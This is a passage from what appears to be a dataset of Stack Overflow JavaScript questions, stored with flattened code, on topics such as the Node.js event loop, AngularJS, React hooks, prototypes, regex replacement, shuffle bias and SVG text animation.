possible . If he gets bogged down taking an order in the dining room , or if he is forced to go back into the kitchen to prepare one of the meals , the system becomes inefficient and sytem throughput suffers.AsynchronousThe asynchronous workflow resulting from a request ( e.g . a web request ) is logically a chain : e.g . The work labeled `` ASYNC '' above is `` kitchen work '' and the `` FIRST [ ] '' and `` THEN [ ] '' represent the involvement of the waiter initiating a callback . Chains like this are represented programmatically in 3 common ways : nested functions/callbackspromises chained with .then ( ) async methods that await ( ) on async results.All these coding approaches are pretty much equivalent , although asynch/await appears to be the cleanest and makes reasoning about asynchronous coding easier.This is my mental picture of what 's going on ... is it correct ? Comments very much appreciated ! QuestionsMy questions concern the use of OS-supported asynchronous operations , who actually does the asynchronous work , and the ways in which this architecture is more performant than the `` spawn a thread per request '' ( i.e . multiple cooks ) architecture : Node libraries have been design to be asynchronous by making use of the cross-platform asynch library libuv , correct ? Is the idea here that libuv presents node ( on all platforms ) with a consistent async I/O interface , but then uses platform-dependent async I/O operations under the hood ? In the case where the I/O request goes `` all the way down '' to an OS-supported async operation , who is `` doing the work '' of waiting for the I/O to return and triggering node ? Is it the kernel , using a kernel thread ? If not , who ? In any case , how many requests can this entity handle ? I 've read that libuv also makes use of a thread pool ( typically pthreads , one per core ? ) internally . Is this to 'wrap ' operations that do not `` go all the way down '' as async , so that a thread can be used to sit and wait for a synchronous operation , so libuv can present an async API ? With regard to performance , the usual illustration that 's given to explain the performance boost a node-like architecture can provide is : picture the ( presumably slower and fatter ) thread-per-request approach -- there 's latency , CPU , and memory overhead to spawning a bunch of threads that are just sitting around waiting on I/O to complete ( even if they 're not busy-waiting ) and then tearing them down , and node largely makes this go away because it uses a long-lived event thread to dispatch asynch I/O to the OS/kernel , right ? But at the end of the day , SOMETHING is sleeping on a mutex and getting woken up when the I/O is ready ... is the idea that if it 's the kernel that 's way more efficient than if it 's a userland thread ? And finally , what about the case where the request is handled by libuv 's thread pool ... this seems similar to the thread-per-request approach except for the efficiency of using the pool ( avoiding the bring-up and tear-down ) , but in this case what happens when there 's many requests and the pool has a backlog ? ... latency increases and now you 're doing worse than the thread-per-request , right ? FIRST [ ASYNC : read a file , figure out what to get from the database ] THEN [ ASYNC : query the database ] THEN [ format and return the result ] .",Node js architecture and performance JS : I need helping with calculating the total amount of tickets.number in this ng-repeatHTML My controller.js < tr ng-repeat= '' tickets in listTickets | filter : searchText | orderBy : sortorder : reverse '' > < td > { { tickets.match } } < /td > < td > { { tickets.number } } < /td > < td > { { tickets.company } } < /td > < td > { { tickets.contact } } < /td > < td > { { tickets.mail } } < /td > < td > { { tickets.phone } } < /td > < td > < button class= '' btn btn-info '' ng-click= '' edit ( tickets._id ) '' > Edit < /button > < /td > < td > < button class= '' btn btn-danger '' ng-click= '' delete ( tickets._id ) '' > Radera < /button > < /td > < /tr > < tr > < td colspan= '' 8 '' > Total of : { { totalTickets ( ) } } tickets < /td > < /tr > $ scope.totalTickets = function ( ) { },Total amount in ng-repeat "JS : The goal is to find the width of the widest word here.The text is a sentence consisting of words with different fonts , as shown in the image.the html looks like : So , here the 3rd word is the widest . Any ideas ? Everything is html and we can use any thing ( jquery , ES5 techniques etc ) . < span style= '' font : bold 14px Verdana ; '' > LONGESTW < /span > < span style= '' font : bold 42px Verdana ; '' > ORD < /span > < span style= '' font : bold 14px Verdana ; '' > & nbsp ; < /span > < span style= '' font : bold 24px Verdana ; '' > ORD < /span > < span style= '' font : bold 14px Verdana ; '' > & nbsp ; < /span > < span style= '' font : bold 24px Verdana ; '' > regular < /span > < span style= '' font : bold 14px Verdana ; '' > & nbsp ; < /span > < span style= '' font : bold 32px Verdana ; '' > w < /span > < span style= '' font : bold 96px Verdana ; '' > id < /span > < span style= '' font : bold 64px Verdana ; '' > est < /span >",Find the width of the widest word in the html block "JS : Imagine I have a function which accesses a constant ( never mutated ) variable ( lookup table or array , for example ) . The constant is not referenced anywhere outside the function scope.My intuition tells me that I should define this constant outside the function scope ( Option A below ) to avoid ( re- ) creating it on every function invocation , but is this really the way modern Javascript engines work ? I 'd like to think that modern engines can see that the constant is never modified , and thus only has to create and cache it once ( is there a term for this ? ) . Do browsers cache functions defined within closures in the same way ? Are there any non-negligible performance penalties to simply defining the constant inside the function , right next to where it 's accessed ( Option B ) ? Is the situation different for more complex objects ? Testing in practiceI created a jsperf test which compares different approaches : Object - inlined ( option A ) Object - constant ( option B ) Additional variants suggested by @ jmrk : Map - inlinedMap - constantswitch - inlined valuesInitial findings ( on my machine , feel free to try it out for yourself ) : Chrome v77 : ( 4 ) is by far the fastest , followed by ( 2 ) Safari v12.1 : ( 4 ) is slightly faster than ( 2 ) , lowest performance across browsersFirefox v69 : ( 5 ) is the fastest , with ( 3 ) slightly behind // Option A : function inlinedAccess ( key ) { const inlinedLookupTable = { a : 1 , b : 2 , c : 3 , d : 4 , } return 'result : ' + inlinedLookupTable [ key ] } // Option B : const CONSTANT_TABLE = { a : 1 , b : 2 , c : 3 , d : 4 , } function constantAccess ( key ) { return 'result : ' + CONSTANT_TABLE [ key ] }",Do javascript engines optimize constants defined within closures ? "JS : Fair warning - a long time ago I wrote a lot of C++ and ca n't help the temptation to coerce javascript into design patterns I was familiar with back then . It 's ok to accuse me of atavism in any replies ; - ) In my current project , I want to create objects by name , which indicates the factory pattern . So I read the top page of google hits for 'javascript factory pattern ' . They all have this ugly thing in common : Which has 2 problems : Every time I create a new part for the factory to make , I have to edit the factory 's implementation and I 'd prefer to avoid both the work & the bug-insertion opportunity.It 's a hard-coded , linear search which hardly screams `` efficiency ! `` So here 's what I came up with - a combination of the module and factory patterns with the info hiding merits of the module pattern provided by the tactic of defining the classes of factory parts inside the factory 's register closure.Finally getting to my question : I ca n't believe that this has n't been done before by better coders than me so please share a link to the canonical version of this twist on the factory pattern if you know of one.N.B . For this example I 've run all my code together . In my project the factory , FactoryPartA , FactoryPartB , and client code are all in separate files . if ( name === 'FactoryPartA ' ) { parentClass = PartA ; } else if ( name === 'FactoryPartB ' ) { parentClass = PartB ; } else if ... parentClass = PartZ ; } return new parentClass ( ) ; namespace ( 'mynamespace ' ) ; // object factorymynamespace.factory = ( function ( ) { 'use strict ' ; var api = { } ; var registry = [ ] ; // register an item api.register = function ( item ) { if ( registry.some ( function ( r ) { return r.name === item.name ; } ) ) { throw new Error ( 'factory.register ( ) : name collision detected : ' + name ) ; } else { registry.push ( item ) ; } } ; // make an item given its name api.make = function ( name ) { var item = null ; var idx = registry.findIndex ( function ( r ) { return r.name === name ; } ) ; if ( idx > = 0 ) { item = new registry [ idx ] .make ( ) ; } return item ; } ; return api ; } ) ( ) ; // define a module & register it with factorymynamespace.factory.register ( { name : 'FactoryPartA ' , make : function FactoryPartA ( ) { 'use strict ' ; var label = 'Factory Part A ' ; // private property this.test = undefined ; // public property this.label = function ( ) { // public method return label ; } ; return this ; } } ) ; // define a different module & register it with factorymynamespace.factory.register ( { name : 'FactoryPartB ' , make : function FactoryPartB ( ) { 'use strict ' ; var label = 'Factory Part B ' ; this.test = undefined ; this.label = function ( ) { return label ; } ; return this ; } } ) ; // client codevar aPart = mynamespace.factory.make ( 'FactoryPartA ' ) ; var bPart = mynamespace.factory.make ( 'FactoryPartB ' ) ; console.log ( aPart.label ( ) ) ; // logs 'Factory Part A'console.log ( bPart.label ( ) ) ; // logs 'Factory Part B'var anotherPart = mynamespace.factory.make ( 'FactoryPartA ' ) ; aPart.test = 'this one is not ' ; anotherPart.test = 'the same as this one ' ; console.log ( aPart.test ! == anotherPart.test ) ; // logs true",is this a new javascript factory pattern ? "JS : I 'm trying to get the data from my Firebase with AngularFire2.I want to check specific data and after I get this data from Firebase , I can check it only in the specific scope and not after the operation to Firebase . Why does it happen ? Below is my code : this.af.database.list ( '/users/1qfcMAQnglX9jsW5GdLpPko1HqE2 ' , { preserveSnapshot : true } ) .subscribe ( snapshots= > { snapshots.forEach ( snapshot = > { if ( snapshot.key== '' reg_boolean '' ) { console.log ( snapshot.val ( ) ) ; this.bo=snapshot.val ( ) ; } this.currentUser.push ( { key : snapshot.key , value : snapshot.val ( ) } ) ; console.log ( this.currentUser ) ; //console.log ( snapshot.key , snapshot.val ( ) ) ; if ( this.bo==true ) { console.log ( `` happy '' ) ; } ; //i can access only in this scope } ) ; } ) if ( this.bo==true ) { console.log ( `` happy '' ) ; } ; //why i can access this value ? ? it 's undefined , this happen before the subscribe with angularfire2",AngularFire2 access data after retrieve it "JS : I am in the process of refactoring my code . I 'm having trouble deciding on how exactly to implement a couple utility functions I have . Specifically , if certain functions are better off in my personal namespace or extending js Objects directly.Example of extending native JavaScript Objects ( is this the proper term ? ) . Example using my own namespaceQuestions to considerWhen is a utility justifiably inserted into a native JavaScript Object ? How can I tell when a utility is better off being in my own namespace ? String.prototype.prettyDate = function ( ) { return ( this.substr ( 5,2 ) + '/ ' + this.substr ( 8 ) + '/ ' + this.substr ( 0,4 ) ) ; } var myString = `` 2010-12-27 '' ; //logs 12/27/2010console.log ( myString.prettyDate ) ; var myNamespace = ( function ( ) { var my = { } ; my.prettyDate = function ( dateStr ) { return ( dateStr.substr ( 5,2 ) + '/ ' + dateStr.substr ( 8 ) + '/ ' + dateStr.substr ( 0,4 ) ) ; } return my ; } ( ) ) ; var pretifiedDate = myNamespace.prettyDate ( '2010-12-27 ' ) ; //logs 12/27/2010console.log ( pretifiedDate ) ;",When should I use my own namespace and when should I extend native js objects ? "JS : I understand that in JavaScript , you can perform regular expression replace with reference to capture groups like this : Which is all good . But what if I want to reference to group 1 then immediately followed by `` 1 '' . Say I what to see `` What 's up World1 '' . So I 'd write : Of course , in this case , it 's referencing to group 11 , which is `` 0 '' , instead of group 1 followed by `` 1 '' .How could I resolve this ambiguity ? > `` Hello World 1234567890 '' .replace ( /Hello ( World ) ( 1 ) ( 2 ) ( 3 ) ( 4 ) ( 5 ) ( 6 ) ( 7 ) ( 8 ) ( 9 ) ( 0 ) / , `` What 's up $ 1 '' ) ; '' What 's up World '' > `` Hello World 1234567890 '' .replace ( /Hello ( World ) ( 1 ) ( 2 ) ( 3 ) ( 4 ) ( 5 ) ( 6 ) ( 7 ) ( 8 ) ( 9 ) ( 0 ) / , `` What 's up $ 11 '' ) ; '' What 's up 0 ''",How to escape capture group $ N followed by integer when performing JavaScript regular expression replace ? "JS : I have an html table and I want to draw an arrow from one cell to an other cell . For example like this : How could this be done ? Example HTML : If you resize the browser , the arrow should stay on the ( new ) start/end position . < html > < body > < table > < tr > < td > 0 < /td > < td > 1 < /td > < td > 2 < /td > < td > 3 < /td > < td > 4 < /td > < td > 5 < /td > < td > 6 < /td > < td > 7 < /td > < td > 8 < /td > < td id= '' end '' > 9 < /td > < tr > < tr > < td > 0 < /td > < td > 1 < /td > < td > 2 < /td > < td > 3 < /td > < td > 4 < /td > < td > 5 < /td > < td > 6 < /td > < td > 7 < /td > < td > 8 < /td > < td > 9 < /td > < tr > < tr > < td > 0 < /td > < td > 1 < /td > < td > 2 < /td > < td > 3 < /td > < td > 4 < /td > < td > 5 < /td > < td > 6 < /td > < td > 7 < /td > < td > 8 < /td > < td > 9 < /td > < tr > < tr > < td > 0 < /td > < td > 1 < /td > < td > 2 < /td > < td > 3 < /td > < td > 4 < /td > < td > 5 < /td > < td > 6 < /td > < td > 7 < /td > < td > 8 < /td > < td > 9 < /td > < tr > < tr > < td > 0 < /td > < td > 1 < /td > < td > 2 < /td > < td > 3 < /td > < td > 4 < /td > < td > 5 < /td > < td > 6 < /td > < td > 7 < /td > < td > 8 < /td > < td > 9 < /td > < tr > < tr > < td > 0 < /td > < td > 1 < /td > < td > 2 < /td > < td > 3 < /td > < td > 4 < /td > < td > 5 < /td > < td > 6 < /td > < td > 7 < /td > < td > 8 < /td > < td > 9 < /td > < tr > < tr > < td > 0 < /td > < td > 1 < /td > < td > 2 < /td > < td > 3 < /td > < td > 4 < /td > < td > 5 < /td > < td > 6 < /td > < td > 7 < /td > < td > 8 < /td > < td > 9 < /td > < tr > < tr > < td > 0 < /td > < td > 1 < /td > < td > 2 < /td > < td > 3 < /td > < td > 4 < /td > < td > 5 < /td > < td > 6 < /td > < td > 7 < /td > < td > 8 < /td > < td > 9 < /td > < tr > < tr > < td > 0 < /td > < td > 1 < /td > < td > 2 < /td > < td > 3 < /td > < td > 4 < /td > < td > 5 < /td > < td > 6 < /td > < td > 7 < /td > < td > 8 < /td > < td > 9 < /td > < tr > < tr > < td id= '' start '' > 0 < /td > < td > 1 < /td > < td > 2 < /td > < td > 3 < /td > < td > 4 < /td > < td > 5 < /td > < td > 6 < /td > < td > 7 < /td > < td > 8 < /td > < td > 9 < /td > < tr > < /body > < /html >",Drawing arrows above HTML "JS : I need to check if all items in an array can be found within another array . That is , I need to check if one array is a subset of another array.Example : Comparing these two arrays above should return true as all items in array can be found in otherArray.Comparing these two arrays above should return false as one of the items in array can not be found in otherArray.I have tried to use the indexOf method inside a for loop without success.I hope someone could help me . : ) var array = [ 1 , 2 , 5 , 7 ] ; var otherArray = [ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 ] ; var array = [ 1 , 2 , 7 , 9 ] ; var otherArray = [ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 ] ;",Check if all items can be found in another array "JS : Edit : for those people seeing this post in the future , this site was undoubtedly critical for me to digest Javascript . If you 're coming from a traditional OOP background , I HIGHLY recommend it . The UML-esq diagrams were amazing . I still ca n't get my head around what the .prototype property in Javascript is . Is it simply a reference to another object ? Or is it a reference to a pointer to another object ? I come from C/C++/x86 and just ca n't see how it works . Let 's look at some examples of how I currently see things ; it 'd help to point out my errors to see how things work . I do n't even know if some of these are valid syntax . Object and Function are the global object/function objects respectively.I 'm so confused . I also do n't understand swapping prototypes around.I ca n't get a grasp on the concept . I do n't quite understand . I do n't get how cloned objects get their own local copies of data , but changes to the original object ( the prototype ) somehow cascade down to the clones . I 've been fiddling around with FigureBug trying things out , but mentally I ca n't come up with an idea that is consistent with every example ive seen C++ may be a huge monstrosity , but at least I know exactly what 's going . Here ... I 'm using my best guess.. Just a new paradigm I suppose . Anyways , thanks if you can help out ... I 'm turned upside-down on this .prototype . 1 // Global.prototype = ? ? 2 // Function.prototype = ? ? 3 4 var obj1 = { } ; // obj1.prototype = Object 5 obj2 = { } ; // obj2.prototype = Object67 var func1 = function ( ) { } ; // func1.prototype = Function8 func2 = function ( ) { } ; // func2.prototype = Function9 function func3 ( ) { } // func3.prototype = Function 10 11 var Foo = function ( ) { this.prop1 = 0 ; } 12 var foo = new Foo ( ) ; // should it be 'new Foo ' or 'new Foo ( ) ' ? 13 // Foo.prototype = Function14 // foo.prototype = Foo15 var Goo = function ( ) { this.prop2 = 0 ; } 16 var goo = new Goo ( ) ; 17 // goo.prototype = Goo18 goo.prototype = new Foo ( ) ; 19 // goo.prop1 now exists ? 20 function A ( ) { 21 this.prop1 = 1 ; 22 } 23 function B ( ) { 24 this.prop2 = 2 ; 25 } 26 function C ( ) { 27 this.prop3 = 3 ; 28 } 29 C.prototype = new B ( ) ; 30 var c = new C ( ) ; 31 // c.prop1 = 132 // c.prop2 = 233 // c.prop3 = undefined34 C.prototype = new A ( ) ; 35 // c.prop2 = 2 ? ? ? 36 // c.prop3 = 3",Learning .prototype "JS : My coworker and I are arguing about why the shuffle algorithm given in this list of JS tips & tricks does n't produce biased results like the sort Jeff Atwood describes for naive shuffles.The array shuffle code in the tips is : Jeff 's naive shuffle code is : I wrote this JS to test the shuffle : For which I get results ( from Firefox 5 ) like : Presumably Array.sort is walking the list array and performing swaps of ( adjacent ) elements similar to Jeff 's example . So why do n't the results look biased ? list.sort ( function ( ) Math.random ( ) - 0.5 ) ; for ( int i = 0 ; i < cards.Length ; i++ ) { int n = rand.Next ( cards.Length ) ; Swap ( ref cards [ i ] , ref cards [ n ] ) ; } var list = [ 1,2,3 ] ; var result = { 123:0,132:0,321:0,213:0,231:0,312:0 } ; function shuffle ( ) { return Math.random ( ) - 0.5 ; } for ( var i=0 ; i < 60000000 ; i++ ) { result [ list.sort ( shuffle ) .join ( `` ) ] ++ ; } Order Count % Diff True Avg123 9997461 -0.0002539132 10003451 0.0003451213 10001507 0.0001507231 9997563 -0.0002437312 9995658 -0.0004342321 10004360 0.000436",Why is n't this shuffle algorithm biased "JS : My work is making a React UI Kit/Component Library to be used internally for our products . Everything is working fine while developing and displaying on Storybook.While testing the library in a generic project out-of-the-box from create-react-app , importing and implementing the components made without React Hooks are alright , but soon as we use the ones made with Hooks - the Invalid Hook Call error shows : https : //reactjs.org/warnings/invalid-hook-call-warning.htmlHave tried everything listed there ( and read and tried the github thread solutions linked on the page ) , and the component simply used useRef ( ) and nothing else so we know no rules were broken , React and React-dom versions are up to date , and running npm ls react and npm ls react-dom in the project results in react @ 16.10.2 and react-dom @ 16.10.2 and nothing else ... So it does n't seem like we have multiple React 's ? Any help would be much appreciated ! ! This is the UI Kit 's package.jsonThe UI Kit 's webpack.config.jsHow components are imported and implemented in project : { `` name '' : `` react-ui-kit '' , `` version '' : `` 0.0.15 '' , `` description '' : `` UI Kit '' , `` main '' : `` dist/index '' , `` module '' : `` dist/index '' , `` typings '' : `` dist/index '' , `` jest '' : { `` setupFilesAfterEnv '' : [ `` < rootDir > /setupTests.js '' ] , `` coverageReporters '' : [ `` json-summary '' , `` text '' , `` lcov '' ] } , `` scripts '' : { `` test '' : `` jest -- coverage '' , `` test : badges '' : `` npm run test & & jest-coverage-badges input './coverage/coverage-summary.json ' output './badges ' '' , `` test-update '' : `` jest -- updateSnapshot '' , `` lint : css '' : `` stylelint './src/**/*.js ' '' , `` storybook '' : `` start-storybook -p 6006 '' , `` build-storybook '' : `` build-storybook -c .storybook -o .out '' , `` generate '' : `` plop -- plopfile ./.plop/plop.config.js '' , `` build '' : `` webpack -- mode production '' , `` prepare '' : `` npm run build '' , `` prepublishOnly '' : `` npm run test : badges '' , `` storybook-docs '' : `` build-storybook -- docs '' , `` todo '' : `` leasot './src/**/*.js ' '' , `` todo-ci '' : `` leasot -x -- reporter markdown './src/**/*.js ' > TODO.md '' } , `` license '' : `` ISC '' , `` peerDependencies '' : { `` prop-types '' : `` ^15.7.2 '' , `` react '' : `` ^16.9.0 '' , `` react-dom '' : `` ^16.9.0 '' , `` recharts '' : `` ^1.7.1 '' , `` styled-components '' : `` ^4.3.2 '' , `` styled-normalize '' : `` ^8.0.6 '' } , `` devDependencies '' : { `` @ babel/cli '' : `` ^7.6.0 '' , `` @ babel/core '' : `` ^7.6.0 '' , `` @ babel/plugin-proposal-class-properties '' : `` ^7.5.5 '' , `` @ babel/preset-env '' : `` ^7.6.0 '' , `` @ babel/preset-react '' : `` ^7.0.0 '' , `` @ storybook/addon-actions '' : `` ^5.2.1 '' , `` @ storybook/addon-docs '' : `` ^5.2.1 '' , `` @ storybook/addon-info '' : `` ^5.2.1 '' , `` @ storybook/addon-knobs '' : `` ^5.2.1 '' , `` @ storybook/addon-links '' : `` ^5.2.1 '' , `` @ storybook/addon-viewport '' : `` ^5.2.1 '' , `` @ storybook/addons '' : `` ^5.2.1 '' , `` @ storybook/react '' : `` ^5.2.1 '' , `` babel-eslint '' : `` ^10.0.3 '' , `` babel-jest '' : `` ^24.9.0 '' , `` babel-loader '' : `` ^8.0.6 '' , `` babel-plugin-styled-components '' : `` ^1.10.6 '' , `` eslint '' : `` ^6.5.1 '' , `` eslint-plugin-react '' : `` ^7.15.0 '' , `` eslint-plugin-react-hooks '' : `` ^2.1.1 '' , `` jest '' : `` ^24.9.0 '' , `` jest-coverage-badges '' : `` ^1.1.2 '' , `` jest-styled-components '' : `` ^6.3.3 '' , `` leasot '' : `` ^8.2.0 '' , `` plop '' : `` ^2.4.0 '' , `` polished '' : `` ^3.4.1 '' , `` prop-types '' : `` ^15.7.2 '' , `` react '' : `` ^16.9.0 '' , `` react-dom '' : `` ^16.9.0 '' , `` react-test-renderer '' : `` ^16.9.0 '' , `` recharts '' : `` ^1.7.1 '' , `` storybook-styled-components '' : `` github : merishas/storybook-styled-components '' , `` styled-components '' : `` ^4.4.0 '' , `` styled-normalize '' : `` ^8.0.6 '' , `` stylelint '' : `` ^10.1.0 '' , `` stylelint-config-recommended '' : `` ^2.2.0 '' , `` stylelint-config-styled-components '' : `` ^0.1.1 '' , `` stylelint-processor-styled-components '' : `` ^1.8.0 '' , `` webpack '' : `` ^4.40.2 '' , `` webpack-cli '' : `` ^3.3.9 '' } , `` files '' : [ `` dist '' ] , } const path = require ( 'path ' ) ; module.exports = { mode : 'production ' , entry : './src/index.js ' , output : { path : path.resolve ( 'dist ' ) , filename : 'index.js ' , libraryTarget : 'commonjs2 ' , } , module : { rules : [ { test : /\.jsx ? $ / , exclude : / ( node_modules ) / , use : 'babel-loader ' , } , { test : /\ . ( eot|svg|ttf|woff|woff2|otf ) $ / , use : [ { loader : 'file-loader ' , options : { name : ' [ name ] . [ ext ] ' , limit : 10000 , mimetype : 'application/font-woff ' , } , } , ] , } , ] , } , resolve : { alias : { components : path.resolve ( __dirname , 'src/components/ ' ) , utils : path.resolve ( __dirname , 'src/utils/ ' ) , themes : path.resolve ( __dirname , 'src/themes/ ' ) , } , extensions : [ '.js ' , '.jsx ' ] , } , devtool : false , } ; import React from `` react '' ; import logo from `` ./logo.svg '' ; import `` ./App.css '' ; import { FieldLabel , Button } from `` react-ui-kit '' ; function App ( ) { return ( < div className= '' App '' > < FieldLabel > THIS IS THE ONE USING the useRef Hook < /FieldLabel > < Button > This component is totally fine without FieldLabel , this is n't using Hooks < /Button > < /div > ) ; } export default App ;",Importing and using component from custom React Component Library results in Invariant Violation : Invalid hook call "JS : I am trying to implement a function using jQuery that will scan through my entire blog post and calculate the estimated read time for the user . Currently I 've done the following to get the amount of words in each paragraph : Thank you to the poster on this question for the wordCount function : Word and Character Count using jQueryThe above works fine and I get the output I expect for my paragraphs . However my Blog post will consist of a combination of h1 , h2 , h3 , h4 , h5 , h6 , ul , ol , span , p , li.So I modified my code like this : But now the results are skewed . For example If I have a span tag within a paragraph or a list item or whatever it counts it twice.So for example this Markup should return 8 , instead I get 9.Can anyone advise me on a possible fix , there is obviously an error in my logic and I 'd appreciate any help.Thanks $ ( ' p ' ) .each ( function ( ) { var v = wordCount ( $ ( this ) .html ( ) ) ; totalWords = totalWords + v.words ; ) ; function wordCount ( val ) { var wom = val.match ( /\S+/g ) ; return { charactersNoSpaces : val.replace ( /\s+/g , `` ) .length , characters : val.length , words : wom ? wom.length : 0 , lines : val.split ( /\r*\n/ ) .length } } $ ( ' p , h1 , h2 , h3 , h4 , h5 , h6 , ul li , ol li , span ' ) .each ( function ( ) { var v = wordCount ( $ ( this ) .html ( ) ) ; totalWords = totalWords + v.words ; } ) ; < ul > < li > This is a test < /li > < li > This is < span > another < /span > text < /li > < /ul >",Using JQuery to count all the words in a blog post "JS : Douglas Crockford describes the consequence of JavaScript inquiring a node 's style . How simply asking for the margin of a div causes the browser to 'reflow ' the div in the browser 's rendering engine four times . So that made me wonder , during the initial rendering of a page ( or in Crockford 's jargon a `` web scroll '' ) is it faster to write CSS that defines only the non-zero/non-default values ? To provide an example : ThanI know consequence of this 'savings ' is insignificant , but I think it is still important to understand how the technologies are implemented . Also , this is not a question about formatting CSS -- this is a question about the implementations of browsers rendering CSS . Reference : http : //developer.yahoo.com/yui/theater/video.php ? v=crockonjs-4 div { margin-left:2px ; } div { margin:0 0 0 2px ; }",Does margin-left:2px ; render faster than margin:0 0 0 2px ; ? "JS : I have a text that is wrapping around an SVG circle which is scaling depending on window size – thanks to user enxaneta https : //stackoverflow.com/a/56036245/10727821 . I want to animate the text so that it would be revolving around the center like a marquee . For this , my code currently looks like this : This is working well , except the text gets `` swallowed '' at the end of the curve ( see attached image ) . I 'd like to have it make a full rotation without any interruption . I have tried changing the so variable to a negative value , but this ends up in the text being too far offset so it would only slowly creep onto the page . I was thinking to prepend a text fragment after a certain time , but this would n't take into account the startOffset movement and would probably not work…Thankful for any hints , also those using JS libraries or plugins ! function Init ( ) { let wrap = document.getElementById ( 'wrap ' ) ; let thePath = document.getElementById ( 'thePath ' ) ; let ellipse = document.getElementById ( 'ellipse ' ) ; let w = wrap.clientWidth ; let h = wrap.clientHeight ; ellipse.setAttributeNS ( null , '' viewBox '' , ` 0 0 $ { w } $ { h } ` ) ; let d = ` M $ { w/10 } , $ { h/2 } A $ { 4*w/10 } , $ { 4*h/10 } 0 0 0 $ { 9*w/10 } $ { 5*h/10 } A $ { 4*w/10 } , $ { 4*h/10 } 0 0 0 $ { w/10 } $ { 5*h/10 } ` thePath.setAttributeNS ( null , '' d '' , d ) } window.setTimeout ( function ( ) { Init ( ) ; window.addEventListener ( 'resize ' , Init , false ) ; } , 15 ) ; let so = 0 function Marquee ( ) { let tp = document.getElementById ( 'tp ' ) ; requestAnimationFrame ( Marquee ) tp.setAttributeNS ( null , '' startOffset '' , so+ '' % '' ) ; if ( so > = 50 ) { so = 0 ; } so+= .05 } Marquee ( ) < div id= '' wrap '' > < svg id= '' ellipse '' version= '' 1.1 '' viewBox= '' 0 0 1000 1000 '' preserveAspectRatio= '' none '' > < path id= '' thePath '' fill= '' transparent '' d= '' M100,500A400,400 0 0 0 900 500 A400,400 0 0 0 100 500 '' / > < text stroke= '' black '' font-size= '' 20 '' > < textPath xlink : href= '' # thePath '' dy= '' 5 '' id= '' tp '' > Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • Coming Soon • < /textPath > < /text > < /svg > < /div >",Animate marquee on SVG curve "JS : I want to split linear-gradient value into a object with key and value.I have this : And I want it like this : EDITED : I tried my code without success : linear-gradient ( 10deg , # 111 , rgba ( 111,111,11,0.4 ) , rgba ( 255,255,25,0.1 ) ) linear-gradient : { angle : '10deg ' , color1 : ' # 111 ' , color2 : 'rgba ( 111,11,11,0.4 ) ' , color3 : 'rgba ( 255,255,25,0.1 ) ' , } var str = 'linear-gradient ( 10deg , # 111 , rgba ( 111,111,11,0.4 ) , rgba ( 255,255,25,0.1 ) ) ' ; str = str.match ( `` gradient\ ( ( . * ) \ ) '' ) ; str = str [ 1 ] .split ( ' , ' ) ; console.log ( str ) ;",Split linear-gradient into an object "JS : I created a little jquery script and I have a problem to use ( this ) in a custom function.This is the code : So the function runs when clicking on a list items and that goes wel but the values of ( this ) is emptySomebody know how to fix this ? Thanks in advance ! jQuery ( `` li '' ) .click ( function ( ) { var scrollTop = jQuery ( window ) .scrollTop ( ) ; if ( scrollTop > 0 ) { jQuery ( 'html , body ' ) .animate ( { scrollTop : 0 } , 'slow ' , function ( ) { fadeItems ( ) ; } ) ; } else { fadeItems ( ) ; } } ) ; function fadeItems ( ) { var slogan = jQuery ( this ) .children ( ' p ' ) .html ( ) ; jQuery ( ' # slogan_text ' ) .fadeOut ( 150 , function ( ) { jQuery ( ' # slogan_text ' ) .fadeIn ( 150 ) .html ( slogan ) ; } ) ; var content = jQuery ( this ) .children ( ' # post_content_large ' ) .html ( ) ; jQuery ( ' # content_view ' ) .html ( content ) .hide ( ) ; var status = jQuery ( `` # readMore '' ) .html ( ) ; if ( status == 'Verbergen ' ) { jQuery ( ' # content_view ' ) .fadeIn ( 500 , function ( ) { jQuery ( ' # content_view ' ) .fadeIn ( 500 ) .html ( content ) ; } ) ; } var title = jQuery ( this ) .children ( 'h3 ' ) .html ( ) ; jQuery ( ' # title_content ' ) .fadeOut ( 150 , function ( ) { jQuery ( ' # title_content ' ) .fadeIn ( 150 ) .html ( title ) ; } ) ; }",jquery using ( this ) in custom function "JS : Currently i 'm trying to use d3-drag v4 types in my project.were using Ts 1.8.10 and not ready to move to the TS2 beta.the d3-v4 typings library is located here : https : //github.com/tomwanzek/d3-v4-definitelytypedi tried to install the typings using : but i 'm getting the following error : typings ERR ! caused by /tomwanzek/d3-v4-definitelytyped/47eae6d/src/d3-selection.d.ts responded with 404 , expected it to equal 200i found somebody asking the same question here : https : //github.com/tomwanzek/d3-v4-definitelytyped/issues/93but it does n't answer my problem because i cant migrate to ts2 just yet.is there anyway using @ types with TS 1.8.10 ? typings install d3-drag=github : tomwanzek/d3-v4-definitelytyped/src/d3-drag/index.d.ts # 4d09073c046b6444859c66ff441f1e7691777d0f -- save",Using Typescript 2 @ Types with typescript 1.8.10 "JS : When creating a complex JS application , what are the pros and cons of using a global observer object which fires events and which all other objects subscribe to vs. mixing in or prototyping pub/sub methods on all objects which are responsible for triggering their own events ? Take for example a card game which has dealer , player , and table objects ( psuedocode-ish follows ) : vs // `` Global '' observer versionvar observer = { // publish and subscribe methods defined here } ; dealer.deal = function ( cards ) { // performs logic for dealing cards observer.publish ( 'dealer : dealt ' , cards , this ) ; } ; player.play = function ( cards ) { // performs logic for which card is played observer.publish ( 'player : played ' , cards , this ) ; } ; table.showCards = function ( cards , player ) { // performs logic for showing cards that the dealer dealt // or that the player played } ; observer.subscribe ( 'dealer : dealt ' , table.showCards ) ; observer.subscribe ( 'player : played ' , table.showCards ) ; // Pub/sub mixin/prototype versiondealer.deal = function ( cards ) { // performs logic for dealing cards this.publish ( 'dealt ' , cards ) ; } ; player.play = function ( cards ) { // performs logic for which card is played this.publish ( 'played ' , cards ) ; } ; table.showCards = function ( cards ) { // performs logic for showing cards that the dealer dealt // or that the player played } ; dealer.subscribe ( 'dealt ' , table.showCards ) ; player.subscribe ( 'played ' , table.showCards ) ;",Pros/cons of a global observer object vs. a mixin "JS : Is there any option in HTML or JavaScript for when a user clicks on a link , if that link is available then done , if not then goes on another link.Here is part of my code : < div id= '' sidebar-collapse '' class= '' col-sm-3 col-lg-2 sidebar '' > < ul > < li > < a href= '' /returns '' > < span class= '' 